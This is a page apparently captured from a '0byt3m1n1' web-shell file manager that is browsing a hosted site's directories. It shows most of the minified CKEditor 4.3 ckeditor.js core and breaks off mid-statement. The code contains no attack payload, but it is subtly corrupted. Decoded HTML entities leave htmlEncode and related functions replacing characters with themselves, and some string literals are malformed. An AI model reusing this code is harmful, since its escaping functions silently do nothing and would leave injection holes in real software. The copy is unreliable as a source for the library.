0byt3m1n1
Path:
/
home
/
mgatv524
/
public_html
/
serraazul
/
web
/
dist
/
vendor
/
ckeditor
/
[
Home
]
File: ckeditor.js
!function(){var e,t,n,o,r,a,s,l;function c(e,t){var n=t.line,o=n+t.ch;for(i=0;i<n;i++)o+=e.getLine(i).length;return o}function d(e,t){var n=0,o=0,r=0;for(i=0;i<e.lineCount();i++){if(len=e.getLine(i).length,t<r+len){n=i,o=t-r;break}len++,r+=len}return{line:n,ch:o}}window.CKEDITOR&&window.CKEDITOR.dom||(window.CKEDITOR||(window.CKEDITOR=function(){var e={timestamp:"DAED",version:"4.3",revision:"d2184ac",rnd:Math.floor(900*Math.random())+100,_:{pending:[]},status:"unloaded",basePath:function(){var e=window.CKEDITOR_BASEPATH||"";if(!e)for(var t=document.getElementsByTagName("script"),n=0;n<t.length;n++){var i=t[n].src.match(/(^|.*[\\\/])ckeditor(?:_basic)?(?:_source)?.js(?:\?.*)?$/i);if(i){e=i[1];break}}if(-1==e.indexOf(":/")&&(e=0===e.indexOf("/")?location.href.match(/^.*?:\/\/[^\/]*/)[0]+e:location.href.match(/^[^\?]*\/(?:)/)[0]+e),!e)throw'The CKEditor installation path could not be automatically detected. Please set the global variable "CKEDITOR_BASEPATH" before creating editor instances.';return e}(),getUrl:function(e){return-1==e.indexOf(":/")&&0!==e.indexOf("/")&&(e=this.basePath+e),this.timestamp&&"/"!=e.charAt(e.length-1)&&!/[&?]t=/.test(e)&&(e+=(0<=e.indexOf("?")?"&":"?")+"t="+this.timestamp),e},domReady:function(){function e(){try{document.addEventListener?(document.removeEventListener("DOMContentLoaded",e,!1),t()):document.attachEvent&&"complete"===document.readyState&&(document.detachEvent("onreadystatechange",e),t())}catch(e){}}function t(){for(var e;e=n.shift();)e()}var n=[];return function(t){if(n.push(t),"complete"===document.readyState&&setTimeout(e,1),1==n.length)if(document.addEventListener)document.addEventListener("DOMContentLoaded",e,!1),window.addEventListener("load",e,!1);else if(document.attachEvent){document.attachEvent("onreadystatechange",e),window.attachEvent("onload",e),t=!1;try{t=!window.frameElement}catch(e){}if(document.documentElement.doScroll&&t){var i=function(){try{document.documentElement.doScroll("left")}catch(e){return void setTimeout(i,1)}e()};i()}}}}()},t=window.CKEDITOR_GETURL;if(t){var n=e.getUrl;e.getUrl=function(i){return t.call(e,i)||n.call(e,i)}}return e}()),CKEDITOR.event||(CKEDITOR.event=function(){},CKEDITOR.event.implementOn=function(e){var t,n=CKEDITOR.event.prototype;for(t in n)null==e[t]&&(e[t]=n[t])},CKEDITOR.event.prototype=function(){function e(e){var i=t(this);return i[e]||(i[e]=new n(e))}var t=function(e){return(e=e.getPrivate&&e.getPrivate()||e._||(e._={})).events||(e.events={})},n=function(e){this.name=e,this.listeners=[]};return n.prototype={getListenerIndex:function(e){for(var t=0,n=this.listeners;t<n.length;t++)if(n[t].fn==e)return t;return-1}},{define:function(t,n){var i=e.call(this,t);CKEDITOR.tools.extend(i,n,!0)},on:function(t,n,i,o,r){function a(e,r,a,l){return e={name:t,sender:this,editor:e,data:r,listenerData:o,stop:a,cancel:l,removeListener:s},!1!==n.call(i,e)&&e.data}function s(){c.removeListener(t,n)}var l=e.call(this,t);if(l.getListenerIndex(n)<0){l=l.listeners,i||(i=this),isNaN(r)&&(r=10);var c=this;a.fn=n,a.priority=r;for(var d=l.length-1;d>=0;d--)if(l[d].priority<=r)return l.splice(d+1,0,a),{removeListener:s};l.unshift(a)}return{removeListener:s}},once:function(){var e=arguments[1];return arguments[1]=function(t){return t.removeListener(),e.apply(this,arguments)},this.on.apply(this,arguments)},capture:function(){CKEDITOR.event.useCapture=1;var e=this.on.apply(this,arguments);return CKEDITOR.event.useCapture=0,e},fire:function(){var e=0,n=function(){e=1},i=0,o=function(){i=1};return function(r,a,s){var l=t(this)[r],c=(r=e,i);if(e=i=0,l&&(u=l.listeners).length)for(var d,u=u.slice(0),h=0;h<u.length;h++){if(l.errorProof)try{d=u[h].call(this,s,a,n,o)}catch(e){}else d=u[h].call(this,s,a,n,o);if(!1===d?i=1:void 0!==d&&(a=d),e||i)break}return a=!i&&(void 0===a||a),e=r,i=c,a}}(),fireOnce:function(e,n,i){return n=this.fire(e,n,i),delete t(this)[e],n},removeListener:function(e,n){var i=t(this)[e];if(i){var o=i.getListenerIndex(n);o>=0&&i.listeners.splice(o,1)}},removeAllListeners:function(){var e,n=t(this);for(e in n)delete n[e]},hasListeners:function(e){return(e=t(this)[e])&&e.listeners.length>0}}}()),CKEDITOR.editor||(CKEDITOR.editor=function(){CKEDITOR._.pending.push([this,arguments]),CKEDITOR.event.call(this)},CKEDITOR.editor.prototype.fire=function(e,t){return e in{instanceReady:1,loaded:1}&&(this[e]=!0),CKEDITOR.event.prototype.fire.call(this,e,t,this)},CKEDITOR.editor.prototype.fireOnce=function(e,t){return e in{instanceReady:1,loaded:1}&&(this[e]=!0),CKEDITOR.event.prototype.fireOnce.call(this,e,t,this)},CKEDITOR.event.implementOn(CKEDITOR.editor.prototype)),CKEDITOR.env||(CKEDITOR.env=function(){var e=navigator.userAgent.toLowerCase(),t=window.opera,n={ie:e.indexOf("trident/")>-1,opera:!!t&&t.version,webkit:e.indexOf(" applewebkit/")>-1,air:e.indexOf(" adobeair/")>-1,mac:e.indexOf("macintosh")>-1,quirks:"BackCompat"==document.compatMode,mobile:e.indexOf("mobile")>-1,iOS:/(ipad|iphone|ipod)/.test(e),isCustomDomain:function(){if(!this.ie)return!1;var e=document.domain,t=window.location.hostname;return e!=t&&e!="["+t+"]"},secure:"https:"==location.protocol};n.gecko="Gecko"==navigator.product&&!n.webkit&&!n.opera&&!n.ie,n.webkit&&(e.indexOf("chrome")>-1?n.chrome=!0:n.safari=!0);var i=0;if(n.ie&&(i=n.quirks||!document.documentMode?parseFloat(e.match(/msie (\d+)/)[1]):document.documentMode,n.ie9Compat=9==i,n.ie8Compat=8==i,n.ie7Compat=7==i,n.ie6Compat=i<7||n.quirks&&i<10),n.gecko){var o=e.match(/rv:([\d\.]+)/);o&&(i=1e4*(o=o[1].split("."))[0]+100*(o[1]||0)+1*(o[2]||0))}return n.opera&&(i=parseFloat(t.version())),n.air&&(i=parseFloat(e.match(/ adobeair\/(\d+)/)[1])),n.webkit&&(i=parseFloat(e.match(/ applewebkit\/(\d+)/)[1])),n.version=i,n.isCompatible=n.iOS&&i>=534||!n.mobile&&(n.ie&&i>6||n.gecko&&i>=10801||n.opera&&i>=9.5||n.air&&i>=1||n.webkit&&i>=522||!1),n.hidpi=window.devicePixelRatio>=2,n.needsBrFiller=n.gecko||n.webkit||n.ie&&i>10,n.needsNbspFiller=n.ie&&i<11,n.cssClass="cke_browser_"+(n.ie?"ie":n.gecko?"gecko":n.opera?"opera":n.webkit?"webkit":"unknown"),n.quirks&&(n.cssClass=n.cssClass+" cke_browser_quirks"),n.ie&&(n.cssClass=n.cssClass+" cke_browser_ie"+(n.quirks||n.version<7?"6":n.version),n.quirks&&(n.cssClass=n.cssClass+" cke_browser_iequirks")),n.gecko&&(i<10900?n.cssClass=n.cssClass+" cke_browser_gecko18":i<=11e3&&(n.cssClass=n.cssClass+" cke_browser_gecko19")),n.air&&(n.cssClass=n.cssClass+" cke_browser_air"),n.iOS&&(n.cssClass=n.cssClass+" cke_browser_ios"),n.hidpi&&(n.cssClass=n.cssClass+" cke_hidpi"),n}()),"unloaded"==CKEDITOR.status&&(CKEDITOR.event.implementOn(CKEDITOR),CKEDITOR.loadFullCore=function(){if("basic_ready"!=CKEDITOR.status)CKEDITOR.loadFullCore._load=1;else{delete CKEDITOR.loadFullCore;var e=document.createElement("script");e.type="text/javascript",e.src=CKEDITOR.basePath+"ckeditor.js",document.getElementsByTagName("head")[0].appendChild(e)}},CKEDITOR.loadFullCoreTimeout=0,CKEDITOR.add=function(e){(this._.pending||(this._.pending=[])).push(e)},CKEDITOR.domReady((function(){var e=CKEDITOR.loadFullCore,t=CKEDITOR.loadFullCoreTimeout;e&&(CKEDITOR.status="basic_ready",e&&e._load?e():t&&setTimeout((function(){CKEDITOR.loadFullCore&&CKEDITOR.loadFullCore()}),1e3*t))})),CKEDITOR.status="basic_loaded"),CKEDITOR.dom={},t=[],n=CKEDITOR.env.gecko?"-moz-":CKEDITOR.env.webkit?"-webkit-":CKEDITOR.env.opera?"-o-":CKEDITOR.env.ie?"-ms-":"",CKEDITOR.on("reset",(function(){t=[]})),CKEDITOR.tools={arrayCompare:function(e,t){if(!e&&!t)return!0;if(!e||!t||e.length!=t.length)return!1;for(var n=0;n<e.length;n++)if(e[n]!=t[n])return!1;return!0},clone:function(e){var t;if(e&&e instanceof Array){t=[];for(var n=0;n<e.length;n++)t[n]=CKEDITOR.tools.clone(e[n]);return t}if(null===e||"object"!=typeof e||e instanceof String||e instanceof Number||e instanceof Boolean||e instanceof Date||e instanceof RegExp)return e;for(n in t=new e.constructor,e)t[n]=CKEDITOR.tools.clone(e[n]);return t},capitalize:function(e,t){return e.charAt(0).toUpperCase()+(t?e.slice(1):e.slice(1).toLowerCase())},extend:function(e){var t,n,i=arguments.length;"boolean"==typeof(t=arguments[i-1])?i--:"boolean"==typeof(t=arguments[i-2])&&(n=arguments[i-1],i-=2);for(var o=1;o<i;o++){var r,a=arguments[o];for(r in a)!0!==t&&null!=e[r]||n&&!(r in n)||(e[r]=a[r])}return e},prototypedCopy:function(e){var t=function(){};return t.prototype=e,new t},copy:function(e){var t,n={};for(t in e)n[t]=e[t];return n},isArray:function(e){return"[object Array]"==Object.prototype.toString.call(e)},isEmpty:function(e){for(var t in e)if(e.hasOwnProperty(t))return!1;return!0},cssVendorPrefix:function(e,t,i){return i?n+e+":"+t+";"+e+":"+t:((i={})[e]=t,i[n+e]=t,i)},cssStyleToDomStyle:function(){var e=document.createElement("div").style,t=void 0!==e.cssFloat?"cssFloat":void 0!==e.styleFloat?"styleFloat":"float";return function(e){return"float"==e?t:e.replace(/-./g,(function(e){return e.substr(1).toUpperCase()}))}}(),buildStyleHtml:function(e){e=[].concat(e);for(var t,n=[],i=0;i<e.length;i++)(t=e[i])&&(/@import|[{}]/.test(t)?n.push("<style>"+t+"</style>"):n.push('<link type="text/css" rel=stylesheet href="'+t+'">'));return n.join("")},htmlEncode:function(e){return(""+e).replace(/&/g,"&").replace(/>/g,">").replace(/</g,"<")},htmlEncodeAttr:function(e){return e.replace(/"/g,""").replace(/</g,"<").replace(/>/g,">")},htmlDecodeAttr:function(e){return e.replace(/"/g,'"').replace(/</g,"<").replace(/>/g,">")},getNextNumber:(e=0,function(){return++e}),getNextId:function(){return"cke_"+this.getNextNumber()},override:function(e,t){var n=t(e);return n.prototype=e.prototype,n},setTimeout:function(e,t,n,i,o){return o||(o=window),n||(n=o),o.setTimeout((function(){i?e.apply(n,[].concat(i)):e.apply(n)}),t||0)},trim:function(){var e=/(?:^[ \t\n\r]+)|(?:[ \t\n\r]+$)/g;return function(t){return t.replace(e,"")}}(),ltrim:function(){var e=/^[ \t\n\r]+/g;return function(t){return t.replace(e,"")}}(),rtrim:function(){var e=/[ \t\n\r]+$/g;return function(t){return t.replace(e,"")}}(),indexOf:function(e,t){if("function"==typeof t){for(var n=0,i=e.length;n<i;n++)if(t(e[n]))return n}else{if(e.indexOf)return e.indexOf(t);for(n=0,i=e.length;n<i;n++)if(e[n]===t)return n}return-1},search:function(e,t){var n=CKEDITOR.tools.indexOf(e,t);return n>=0?e[n]:null},bind:function(e,t){return function(){return e.apply(t,arguments)}},createClass:function(e){var t=e.$,n=e.base,i=e.privates||e._,o=e.proto;if(e=e.statics,!t&&(t=function(){n&&this.base.apply(this,arguments)}),i){var r=t;t=function(){var e,t=this._||(this._={});for(e in i){var n=i[e];t[e]="function"==typeof n?CKEDITOR.tools.bind(n,this):n}r.apply(this,arguments)}}return n&&(t.prototype=this.prototypedCopy(n.prototype),t.prototype.constructor=t,t.base=n,t.baseProto=n.prototype,t.prototype.base=function(){this.base=n.prototype.base,n.apply(this,arguments),this.base=arguments.callee}),o&&this.extend(t.prototype,o,!0),e&&this.extend(t,e,!0),t},addFunction:function(e,n){return t.push((function(){return e.apply(n||this,arguments)}))-1},removeFunction:function(e){t[e]=null},callFunction:function(e){var n=t[e];return n&&n.apply(window,Array.prototype.slice.call(arguments,1))},cssLength:function(){var e,t=/^-?\d+\.?\d*px$/;return function(n){return e=CKEDITOR.tools.trim(n+"")+"px",t.test(e)?e:n||""}}(),convertToPx:function(){var e;return function(t){return e||(e=CKEDITOR.dom.element.createFromHtml('<div style="position:absolute;left:-9999px;top:-9999px;margin:0px;padding:0px;border:0px;"></div>',CKEDITOR.document),CKEDITOR.document.getBody().append(e)),/%$/.test(t)?t:(e.setStyle("width",t),e.$.clientWidth)}}(),repeat:function(e,t){return Array(t+1).join(e)},tryThese:function(){for(var e,t=0,n=arguments.length;t<n;t++){var i=arguments[t];try{e=i();break}catch(e){}}return e},genKey:function(){return Array.prototype.slice.call(arguments).join("-")},defer:function(e){return function(){var t=arguments,n=this;window.setTimeout((function(){e.apply(n,t)}),0)}},normalizeCssText:function(e,t){var n,i=[],o=CKEDITOR.tools.parseCssText(e,!0,t);for(n in o)i.push(n+":"+o[n]);return i.sort(),i.length?i.join(";")+";":""},convertRgbToHex:function(e){return e.replace(/(?:rgb\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*\))/gi,(function(e,t,n,i){for(e=[t,n,i],t=0;t<3;t++)e[t]=("0"+parseInt(e[t],10).toString(16)).slice(-2);return"#"+e.join("")}))},parseCssText:function(e,t,n){var i={};return n&&((n=new CKEDITOR.dom.element("span")).setAttribute("style",e),e=CKEDITOR.tools.convertRgbToHex(n.getAttribute("style")||"")),e&&";"!=e?(e.replace(/"/g,'"').replace(/\s*([^:;\s]+)\s*:\s*([^;]+)\s*(?=;|$)/g,(function(e,n,o){t&&("font-family"==(n=n.toLowerCase())&&(o=o.toLowerCase().replace(/["']/g,"").replace(/\s*,\s*/g,",")),o=CKEDITOR.tools.trim(o)),i[n]=o})),i):i},writeCssText:function(e,t){var n,i=[];for(n in e)i.push(n+":"+e[n]);return t&&i.sort(),i.join("; ")},objectCompare:function(e,t,n){var i;if(!e&&!t)return!0;if(!e||!t)return!1;for(i in e)if(e[i]!=t[i])return!1;if(!n)for(i in t)if(e[i]!=t[i])return!1;return!0},objectKeys:function(e){var t,n=[];for(t in e)n.push(t);return n},convertArrayToObject:function(e,t){var n={};1==arguments.length&&(t=!0);for(var i=0,o=e.length;i<o;++i)n[e[i]]=t;return n},fixDomain:function(){for(var e;;)try{e=window.parent.document.domain;break}catch(t){if(!(e=e?e.replace(/.+?(?:\.|$)/,""):document.domain))break;document.domain=e}return!!e},eventsBuffer:function(e,t){function n(){o=(new Date).getTime(),i=!1,t()}var i,o=0;return{input:function(){if(!i){var t=(new Date).getTime()-o;t<e?i=setTimeout(n,e-t):n()}},reset:function(){i&&clearTimeout(i),i=o=0}}},enableHtml5Elements:function(e,t){for(var n,i=["abbr","article","aside","audio","bdi","canvas","data","datalist","details","figcaption","figure","footer","header","hgroup","mark","meter","nav","output","progress","section","summary","time","video"],o=i.length;o--;)n=e.createElement(i[o]),t&&e.appendChild(n)}},CKEDITOR.dtd=function(){var e=CKEDITOR.tools.extend,t=function(e,t){for(var n=CKEDITOR.tools.clone(e),i=1;i<arguments.length;i++){var o;for(o in t=arguments[i])delete n[o]}return n},n={},i={},o={address:1,article:1,aside:1,blockquote:1,details:1,div:1,dl:1,fieldset:1,figure:1,footer:1,form:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,header:1,hgroup:1,hr:1,menu:1,nav:1,ol:1,p:1,pre:1,section:1,table:1,ul:1},r={command:1,link:1,meta:1,noscript:1,script:1,style:1},a={},s={"#":1},l={center:1,dir:1,noframes:1};return e(n,{a:1,abbr:1,area:1,audio:1,b:1,bdi:1,bdo:1,br:1,button:1,canvas:1,cite:1,code:1,command:1,datalist:1,del:1,dfn:1,em:1,embed:1,i:1,iframe:1,img:1,input:1,ins:1,kbd:1,keygen:1,label:1,map:1,mark:1,meter:1,noscript:1,object:1,output:1,progress:1,q:1,ruby:1,s:1,samp:1,script:1,select:1,small:1,span:1,strong:1,sub:1,sup:1,textarea:1,time:1,u:1,var:1,video:1,wbr:1},s,{acronym:1,applet:1,basefont:1,big:1,font:1,isindex:1,strike:1,style:1,tt:1}),e(i,o,n,l),t={a:t(n,{a:1,button:1}),abbr:n,address:i,area:a,article:e({style:1},i),aside:e({style:1},i),audio:e({source:1,track:1},i),b:n,base:a,bdi:n,bdo:n,blockquote:i,body:i,br:a,button:t(n,{a:1,button:1}),canvas:n,caption:i,cite:n,code:n,col:a,colgroup:{col:1},command:a,datalist:e({option:1},n),dd:i,del:n,details:e({summary:1},i),dfn:n,div:e({style:1},i),dl:{dt:1,dd:1},dt:i,em:n,embed:a,fieldset:e({legend:1},i),figcaption:i,figure:e({figcaption:1},i),footer:i,form:i,h1:n,h2:n,h3:n,h4:n,h5:n,h6:n,head:e({title:1,base:1},r),header:i,hgroup:{h1:1,h2:1,h3:1,h4:1,h5:1,h6:1},hr:a,html:e({head:1,body:1},i,r),i:n,iframe:s,img:a,input:a,ins:n,kbd:n,keygen:a,label:n,legend:n,li:i,link:a,map:i,mark:n,menu:e({li:1},i),meta:a,meter:t(n,{meter:1}),nav:i,noscript:e({link:1,meta:1,style:1},n),object:e({param:1},n),ol:{li:1},optgroup:{option:1},option:s,output:n,p:n,param:a,pre:n,progress:t(n,{progress:1}),q:n,rp:n,rt:n,ruby:e({rp:1,rt:1},n),s:n,samp:n,script:s,section:e({style:1},i),select:{optgroup:1,option:1},small:n,source:a,span:n,strong:n,style:s,sub:n,summary:n,sup:n,table:{caption:1,colgroup:1,thead:1,tfoot:1,tbody:1,tr:1},tbody:{tr:1},td:i,textarea:s,tfoot:{tr:1},th:i,thead:{tr:1},time:t(n,{time:1}),title:s,tr:{th:1,td:1},track:a,u:n,ul:{li:1},var:n,video:e({source:1,track:1},i),wbr:a,acronym:n,applet:e({param:1},i),basefont:a,big:n,center:i,dialog:a,dir:{li:1},font:n,isindex:a,noframes:i,strike:n,tt:n},e(t,{$block:e({audio:1,dd:1,dt:1,figcaption:1,li:1,video:1},o,l),$blockLimit:{article:1,aside:1,audio:1,body:1,caption:1,details:1,dir:1,div:1,dl:1,fieldset:1,figcaption:1,figure:1,footer:1,form:1,header:1,hgroup:1,menu:1,nav:1,ol:1,section:1,table:1,td:1,th:1,tr:1,ul:1,video:1},$cdata:{script:1,style:1},$editable:{address:1,article:1,aside:1,blockquote:1,body:1,details:1,div:1,fieldset:1,figcaption:1,footer:1,form:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,header:1,hgroup:1,nav:1,p:1,pre:1,section:1},$empty:{area:1,base:1,basefont:1,br:1,col:1,command:1,dialog:1,embed:1,hr:1,img:1,input:1,isindex:1,keygen:1,link:1,meta:1,param:1,source:1,track:1,wbr:1},$inline:n,$list:{dl:1,ol:1,ul:1},$listItem:{dd:1,dt:1,li:1},$nonBodyContent:e({body:1,head:1,html:1},t.head),$nonEditable:{applet:1,audio:1,button:1,embed:1,iframe:1,map:1,object:1,option:1,param:1,script:1,textarea:1,video:1},$object:{applet:1,audio:1,button:1,hr:1,iframe:1,img:1,input:1,object:1,select:1,table:1,textarea:1,video:1},$removeEmpty:{abbr:1,acronym:1,b:1,bdi:1,bdo:1,big:1,cite:1,code:1,del:1,dfn:1,em:1,font:1,i:1,ins:1,label:1,kbd:1,mark:1,meter:1,output:1,q:1,ruby:1,s:1,samp:1,small:1,span:1,strike:1,strong:1,sub:1,sup:1,time:1,tt:1,u:1,var:1},$tabIndex:{a:1,area:1,button:1,input:1,object:1,select:1,textarea:1},$tableContent:{caption:1,col:1,colgroup:1,tbody:1,td:1,tfoot:1,th:1,thead:1,tr:1},$transparent:{a:1,audio:1,canvas:1,del:1,ins:1,map:1,noscript:1,object:1,video:1},$intermediate:{caption:1,colgroup:1,dd:1,dt:1,figcaption:1,legend:1,li:1,optgroup:1,option:1,rp:1,rt:1,summary:1,tbody:1,td:1,tfoot:1,th:1,thead:1,tr:1}}),t}(),CKEDITOR.dom.event=function(e){this.$=e},CKEDITOR.dom.event.prototype={getKey:function(){return this.$.keyCode||this.$.which},getKeystroke:function(){var e=this.getKey();return(this.$.ctrlKey||this.$.metaKey)&&(e+=CKEDITOR.CTRL),this.$.shiftKey&&(e+=CKEDITOR.SHIFT),this.$.altKey&&(e+=CKEDITOR.ALT),e},preventDefault:function(e){var t=this.$;t.preventDefault?t.preventDefault():t.returnValue=!1,e&&this.stopPropagation()},stopPropagation:function(){var e=this.$;e.stopPropagation?e.stopPropagation():e.cancelBubble=!0},getTarget:function(){var e=this.$.target||this.$.srcElement;return e?new CKEDITOR.dom.node(e):null},getPhase:function(){return this.$.eventPhase||2},getPageOffset:function(){var e=this.getTarget().getDocument().$;return{x:this.$.pageX||this.$.clientX+(e.documentElement.scrollLeft||e.body.scrollLeft),y:this.$.pageY||this.$.clientY+(e.documentElement.scrollTop||e.body.scrollTop)}}},CKEDITOR.CTRL=1114112,CKEDITOR.SHIFT=2228224,CKEDITOR.ALT=4456448,CKEDITOR.EVENT_PHASE_CAPTURING=1,CKEDITOR.EVENT_PHASE_AT_TARGET=2,CKEDITOR.EVENT_PHASE_BUBBLING=3,CKEDITOR.dom.domObject=function(e){e&&(this.$=e)},CKEDITOR.dom.domObject.prototype=function(){var e=function(e,t){return function(n){"undefined"!=typeof CKEDITOR&&e.fire(t,new CKEDITOR.dom.event(n))}};return{getPrivate:function(){var e;return(e=this.getCustomData("_"))||this.setCustomData("_",e={}),e},on:function(t){var n=this.getCustomData("_cke_nativeListeners");return n||(n={},this.setCustomData("_cke_nativeListeners",n)),n[t]||(n=n[t]=e(this,t),this.$.addEventListener?this.$.addEventListener(t,n,!!CKEDITOR.event.useCapture):this.$.attachEvent&&this.$.attachEvent("on"+t,n)),CKEDITOR.event.prototype.on.apply(this,arguments)},removeListener:function(e){if(CKEDITOR.event.prototype.removeListener.apply(this,arguments),!this.hasListeners(e)){var t=this.getCustomData("_cke_nativeListeners"),n=t&&t[e];n&&(this.$.removeEventListener?this.$.removeEventListener(e,n,!1):this.$.detachEvent&&this.$.detachEvent("on"+e,n),delete t[e])}},removeAllListeners:function(){var e,t=this.getCustomData("_cke_nativeListeners");for(e in t){var n=t[e];this.$.detachEvent?this.$.detachEvent("on"+e,n):this.$.removeEventListener&&this.$.removeEventListener(e,n,!1),delete t[e]}}}}(),function(e){var t={};CKEDITOR.on("reset",(function(){t={}})),e.equals=function(e){try{return e&&e.$===this.$}catch(e){return!1}},e.setCustomData=function(e,n){var i=this.getUniqueId();return(t[i]||(t[i]={}))[e]=n,this},e.getCustomData=function(e){var n=this.$["data-cke-expando"];return(n=n&&t[n])&&e in n?n[e]:null},e.removeCustomData=function(e){var n,i,o;return(n=(n=this.$["data-cke-expando"])&&t[n])&&(i=n[e],o=e in n,delete n[e]),o?i:null},e.clearCustomData=function(){this.removeAllListeners();var e=this.$["data-cke-expando"];e&&delete t[e]},e.getUniqueId=function(){return this.$["data-cke-expando"]||(this.$["data-cke-expando"]=CKEDITOR.tools.getNextNumber())},CKEDITOR.event.implementOn(e)}(CKEDITOR.dom.domObject.prototype),CKEDITOR.dom.node=function(e){return e?new CKEDITOR.dom[e.nodeType==CKEDITOR.NODE_DOCUMENT?"document":e.nodeType==CKEDITOR.NODE_ELEMENT?"element":e.nodeType==CKEDITOR.NODE_TEXT?"text":e.nodeType==CKEDITOR.NODE_COMMENT?"comment":e.nodeType==CKEDITOR.NODE_DOCUMENT_FRAGMENT?"documentFragment":"domObject"](e):this},CKEDITOR.dom.node.prototype=new CKEDITOR.dom.domObject,CKEDITOR.NODE_ELEMENT=1,CKEDITOR.NODE_DOCUMENT=9,CKEDITOR.NODE_TEXT=3,CKEDITOR.NODE_COMMENT=8,CKEDITOR.NODE_DOCUMENT_FRAGMENT=11,CKEDITOR.POSITION_IDENTICAL=0,CKEDITOR.POSITION_DISCONNECTED=1,CKEDITOR.POSITION_FOLLOWING=2,CKEDITOR.POSITION_PRECEDING=4,CKEDITOR.POSITION_IS_CONTAINED=8,CKEDITOR.POSITION_CONTAINS=16,CKEDITOR.tools.extend(CKEDITOR.dom.node.prototype,{appendTo:function(e,t){return e.append(this,t),e},clone:function(e,t){var n=this.$.cloneNode(e),i=function(n){if(n["data-cke-expando"]&&(n["data-cke-expando"]=!1),n.nodeType==CKEDITOR.NODE_ELEMENT&&(t||n.removeAttribute("id",!1),e)){n=n.childNodes;for(var o=0;o<n.length;o++)i(n[o])}};return i(n),new CKEDITOR.dom.node(n)},hasPrevious:function(){return!!this.$.previousSibling},hasNext:function(){return!!this.$.nextSibling},insertAfter:function(e){return e.$.parentNode.insertBefore(this.$,e.$.nextSibling),e},insertBefore:function(e){return e.$.parentNode.insertBefore(this.$,e.$),e},insertBeforeMe:function(e){return this.$.parentNode.insertBefore(e.$,this.$),e},getAddress:function(e){for(var t=[],n=this.getDocument().$.documentElement,i=this.$;i&&i!=n;){var o=i.parentNode;o&&t.unshift(this.getIndex.call({$:i},e)),i=o}return t},getDocument:function(){return new CKEDITOR.dom.document(this.$.ownerDocument||this.$.parentNode.ownerDocument)},getIndex:function(e){var t,n=this.$,i=-1;if(!this.$.parentNode)return i;do{(!e||n==this.$||n.nodeType!=CKEDITOR.NODE_TEXT||!t&&n.nodeValue)&&(i++,t=n.nodeType==CKEDITOR.NODE_TEXT)}while(n=n.previousSibling);return i},getNextSourceNode:function(e,t,n){if(n&&!n.call){var i=n;n=function(e){return!e.equals(i)}}var o;if(!(e=!e&&this.getFirst&&this.getFirst())){if(this.type==CKEDITOR.NODE_ELEMENT&&n&&!1===n(this,!0))return null;e=this.getNext()}for(;!e&&(o=(o||this).getParent());){if(n&&!1===n(o,!0))return null;e=o.getNext()}return!e||n&&!1===n(e)?null:t&&t!=e.type?e.getNextSourceNode(!1,t,n):e},getPreviousSourceNode:function(e,t,n){if(n&&!n.call){var i=n;n=function(e){return!e.equals(i)}}var o;if(!(e=!e&&this.getLast&&this.getLast())){if(this.type==CKEDITOR.NODE_ELEMENT&&n&&!1===n(this,!0))return null;e=this.getPrevious()}for(;!e&&(o=(o||this).getParent());){if(n&&!1===n(o,!0))return null;e=o.getPrevious()}return!e||n&&!1===n(e)?null:t&&e.type!=t?e.getPreviousSourceNode(!1,t,n):e},getPrevious:function(e){var t,n=this.$;do{t=(n=n.previousSibling)&&10!=n.nodeType&&new CKEDITOR.dom.node(n)}while(t&&e&&!e(t));return t},getNext:function(e){var t,n=this.$;do{t=(n=n.nextSibling)&&new CKEDITOR.dom.node(n)}while(t&&e&&!e(t));return t},getParent:function(e){var t=this.$.parentNode;return t&&(t.nodeType==CKEDITOR.NODE_ELEMENT||e&&t.nodeType==CKEDITOR.NODE_DOCUMENT_FRAGMENT)?new CKEDITOR.dom.node(t):null},getParents:function(e){var t=this,n=[];do{n[e?"push":"unshift"](t)}while(t=t.getParent());return n},getCommonAncestor:function(e){if(e.equals(this))return this;if(e.contains&&e.contains(this))return e;var t=this.contains?this:this.getParent();do{if(t.contains(e))return t}while(t=t.getParent());return null},getPosition:function(e){var t=this.$,n=e.$;if(t.compareDocumentPosition)return t.compareDocumentPosition(n);if(t==n)return CKEDITOR.POSITION_IDENTICAL;if(this.type==CKEDITOR.NODE_ELEMENT&&e.type==CKEDITOR.NODE_ELEMENT){if(t.contains){if(t.contains(n))return CKEDITOR.POSITION_CONTAINS+CKEDITOR.POSITION_PRECEDING;if(n.contains(t))return CKEDITOR.POSITION_IS_CONTAINED+CKEDITOR.POSITION_FOLLOWING}if("sourceIndex"in t)return t.sourceIndex<0||n.sourceIndex<0?CKEDITOR.POSITION_DISCONNECTED:t.sourceIndex<n.sourceIndex?CKEDITOR.POSITION_PRECEDING:CKEDITOR.POSITION_FOLLOWING}t=this.getAddress(),e=e.getAddress(),n=Math.min(t.length,e.length);for(var i=0;i<=n-1;i++)if(t[i]!=e[i]){if(i<n)return t[i]<e[i]?CKEDITOR.POSITION_PRECEDING:CKEDITOR.POSITION_FOLLOWING;break}return t.length<e.length?CKEDITOR.POSITION_CONTAINS+CKEDITOR.POSITION_PRECEDING:CKEDITOR.POSITION_IS_CONTAINED+CKEDITOR.POSITION_FOLLOWING},getAscendant:function(e,t){var n,i=this.$;for(t||(i=i.parentNode);i;){if(i.nodeName&&(n=i.nodeName.toLowerCase(),"string"==typeof e?n==e:n in e))return new CKEDITOR.dom.node(i);try{i=i.parentNode}catch(e){i=null}}return null},hasAscendant:function(e,t){var n=this.$;for(t||(n=n.parentNode);n;){if(n.nodeName&&n.nodeName.toLowerCase()==e)return!0;n=n.parentNode}return!1},move:function(e,t){e.append(this.remove(),t)},remove:function(e){var t=this.$,n=t.parentNode;if(n){if(e)for(;e=t.firstChild;)n.insertBefore(t.removeChild(e),t);n.removeChild(t)}return this},replace:function(e){this.insertBefore(e),e.remove()},trim:function(){this.ltrim(),this.rtrim()},ltrim:function(){for(var e;this.getFirst&&(e=this.getFirst());){if(e.type==CKEDITOR.NODE_TEXT){var t=CKEDITOR.tools.ltrim(e.getText()),n=e.getLength();if(!t){e.remove();continue}t.length<n&&(e.split(n-t.length),this.$.removeChild(this.$.firstChild))}break}},rtrim:function(){for(var e;this.getLast&&(e=this.getLast());){if(e.type==CKEDITOR.NODE_TEXT){var 